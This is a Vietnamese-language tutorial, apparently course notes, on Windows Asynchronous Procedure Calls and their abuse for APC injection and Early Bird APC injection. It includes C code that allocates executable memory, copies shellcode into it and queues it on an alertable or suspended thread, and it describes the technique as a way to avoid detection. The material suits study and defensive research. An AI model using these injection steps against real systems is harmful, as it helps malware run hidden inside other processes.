What is APC?

APC (hay Asynchronous Procedure Call) là một hàm mà sẽ được thực thi một cách bất đồng bộ trong ngữ cảnh của một thread cụ thể.

QueueUserAPC

Mỗi thread sẽ có một hàng đợi chứa các APC mà sẽ được thực thi. Để thêm một APC vào hàng đợi thì ta cần sử dụng hàm QueueUserAPC và truyền vào địa chỉ của APC mà ta cần thực thi. Nguyên mẫu của hàm QueueUserAPC:

DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,
  [in] HANDLE    hThread,
  [in] ULONG_PTR dwData
);

Với:

  • pfnAPC: là địa chỉ của hàm mà sẽ được thực thi.
  • hThread: là handle của thread mà ta muốn thêm APC vào.
  • dwData: là đối số mà ta muốn truyền vào hàm pfnAPC.

Placing a Thread In An Alertable State

Khi một APC được thêm vào hàng đợi, thread sẽ không thực thi APC đó ngay lập tức mà chỉ thực thi khi nó ở trạng thái alertable (có thể đánh thức). Cụ thể hơn, trạng thái alertable chính là trạng thái chờ (wait state). Thread có thể chuyển sang trạng thái này khi nó chờ một thao tác nào đó liên quan đến thiết bị ngoại vi (chẳng hạn như bàn phím) hoàn thành hoặc chờ một tài nguyên nào đó được giải phóng.

Seealso

Xem thêm danh sách các trạng thái của thread: ThreadState Enum (System.Diagnostics) | Microsoft Learn

Thread có thể tự chuyển sẽ sang trạng thái chờ khi nó gọi ít nhất 1 trong các hàm đồng bộ hóa sau:

Trong trường hợp thread không còn ở trạng thái chờ (điều kiện kết thúc của các hàm trên được thỏa mãn) trước khi APC được thêm vào hàm đợi, APC sẽ không được thực thi. Tuy nhiên, do vẫn còn ở trong hàng đợi, APC vẫn sẽ được thực thi khi thread gọi lại ít nhất một trong số các hàm trên.

Info

Các hàm chẳng hạn như ReadFileExSetWaitableTimerSetWaitableTimerEx, và WriteFileEx sử dụng một APC để gửi thông báo về việc hoàn thành của thao tác I/O.

Using The Functions

Ví dụ về cách sử dụng các hàm trên để chuyển thread sang trạng thái chờ:

Sử dụng Sleep:

VOID AlertableFunction1() {
 
	Sleep(-1);
}

Sử dụng SleepEx:

VOID AlertableFunction2() {
	
	SleepEx(INFINITE, TRUE);
}

Sử dụng WaitForSingleObject:

VOID AlertableFunction3() {
 
	HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
	if (hEvent){
		WaitForSingleObject(hEvent, INFINITE);
		CloseHandle(hEvent);
	}
}

Có thể thấy, chúng ta tạo ra một event rác (truyền tất cả các đối số là NULL) thông qua hàm CreateEventW và sử dụng event này để gọi WaitForSingleObject.

Sử dụng MsgWaitForMultipleObjects:

VOID AlertableFunction4() {
 
	HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
	if (hEvent) {
		MsgWaitForMultipleObjects(1, &hEvent, TRUE, INFINITE, QS_INPUT);
		CloseHandle(hEvent);
	}
}

Sử dụng SignalObjectAndWait:

VOID AlertableFunction5() {
	
	HANDLE hEvent1 = CreateEvent(NULL, NULL, NULL, NULL);
	HANDLE hEvent2 = CreateEvent(NULL, NULL, NULL, NULL);
 
	if (hEvent1 && hEvent2) {
		SignalObjectAndWait(hEvent1, hEvent2, INFINITE, TRUE);
		CloseHandle(hEvent1);
		CloseHandle(hEvent2);
	}
}

Suspended Threads

Chúng ta cũng có thể dùng QueueUserAPC cho các thread bị gián đoạn. Tuy nhiên, để APC được thực thi, chúng ta cần gọi ResumeThread sau khi gọi QueueUserAPC.

Important

Cần lưu ý là thread cần phải được tạo ra trong trạng thái bị gián đoạn thì cách này mới hoạt động. Việc gián đoạn một thread có sẵn sẽ không thực thi APC.

APC Injection

APC injection là một kỹ thuật lạm dụng tính năng APC của hệ điều hành Window để tiêm một APC nhằm thực thi shellcode vào một thread ở trạng thái alertable. Do APC là một cơ chế hợp lệ của hệ điều hành nên nó có thể tránh được sự phát hiện. Tuy nhiên, nó có một điểm yếu là đôi khi chúng ta sẽ không tìm được thread nào ở trạng thái alertable.

Implementation Logic

Kỹ thuật này bao gồm các bước sau:

  1. Tìm một thread ở trong trạng thái alertable. Để giả lập, ta sẽ tạo ra một thread bằng hàm CreateThread và gọi một trong số những hàm đồng bộ hóa trên:

    hThread = CreateThread(NULL, NULL, &AlertableFunction5, NULL, NULL, &dwThreadId);
    if (hThread == NULL) {
    	printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
    	return FALSE;
    }
    printf("[+] Alertable Target Thread Created With Id : %d \n", dwThreadId);
  2. Tiêm shellcode vào vùng nhớ.

    pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pAddress == NULL) {
    	printf("\t[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
    	return FALSE;
    }
     
    memcpy(pAddress, pPayload, sPayloadSize);
     
     
    if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
    	printf("\t[!] VirtualProtect Failed With Error : %d \n", GetLastError());
    	return FALSE;
    }

    Với pPayload là vùng nhớ tạm chứa shellcode còn sPayloadSize là kích thước của shellcode.

  3. Sử dụng handle của thread có được ở bước 1 và địa chỉ shellcode có được ở bước 2 để gọi hàm QueueUserAPC.

    // If hThread is in an alertable state, QueueUserAPC will run the payload directly
    // If hThread is in a suspended state, the payload won't be executed unless the thread is resumed after
    if (!QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL)) {
    	printf("\t[!] QueueUserAPC Failed With Error : %d \n", GetLastError());
    }

Có thể thấy, ta thực hiện APC injection ở tiến trình hiện tại (local injection). Việc thực hiện remote injection cũng tương tự.

Demo

Khi chạy chương trình thì thấy rằng đã có một thread được tạo ra ở trạng thái alertable (Process Hacker hiển thị là Wait:UserRequest):

Early Bird APC Injection

Như đã biết, rất khó để tìm được một thread nào đó ở trạng thái alertable hoặc suspended (khi vừa tạo ra), đặc biệt là các thread được chạy dưới quyền user bình thường. Giải pháp cho vấn đề này là sử dụng kỹ thuật Early Bird APC Injection: tạo ra một tiến trình ở trạng thái bị gián đoạn rồi sử dụng handle đến thread cũng ở trong trạng thái bị gián đoạn để gọi hàm QueueUserAPC. Sau đó, ta cho thread tiếp tục thực thi để thực thi shellcode.

Implementation Logic (1)

Các bước thực hiện Early Bird APC Injection:

  1. Tạo một tiến trình ở trạng thái bị gián đoạn với cờ CREATE_SUSPENDED.
  2. Ghi shellcode vào vùng nhớ của tiến trình vừa tạo.
  3. Lấy handle đến thread bị gián đoạn trong tiến trình vừa tạo cũng như là địa chỉ của shellcode và truyền vào hàm QueueUserAPC.
  4. Cho thread tiếp tục thực thi bằng hàm ResumeThread để shellcode được thực thi.

Implementation Logic (2)

Ngoài ra, ta cũng có thể tạo ra tiến trình sử dụng cờ DEBUG_PROCESS.

PROCESS_INFORMATION    Pi    = { 0 };
 
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
 
// Creating the process
if (!CreateProcessA(
	NULL,
	lpPath,
	NULL,
	NULL,
	FALSE,
	DEBUG_PROCESS,		// Instead of CREATE_SUSPENDED		
	NULL,
	NULL,
	&Si,
	&Pi)) {
	printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
	return FALSE;
}

Khi sử dụng cờ này, CreateProcess sẽ tạo ra một tiến trình ở trạng thái debug và gắn tiến trình gọi hàm CreateProcess (tiến trình hiện tại của malware) vào làm debugger cho tiến trình được tạo ra. Khi một tiến trình được tạo ra ở trạng thái debug, một breakpoint sẽ đặt ở entry point của tiến trình đó. Điều này khiến cho tiến trình bị tạm hoãn.

Sau đó, chúng ta có thể tiêm shellcode vào tiến trình mục tiêu và gọi hàm QueueUserAPC. Cuối cùng, gọi hàm DebugActiveProcessStop để dừng quá trình debug của tiến trình mục tiêu. Hàm DebugActiveProcessStop yêu cầu duy nhất một đối số là PID của tiến trình cần dừng quá trình debug.

Demo

Malware đã tạo ra được một tiến trình ở trạng thái debug (được thể hiện bằng màu tím ở trong Process Hacker):

Có thể thấy, tiến trình cha của tiến trình được tạo ra chính là tiến trình của malware.

Shellcode đã được ghi vào vùng nhớ của tiến trình mục tiêu thành công:

Resources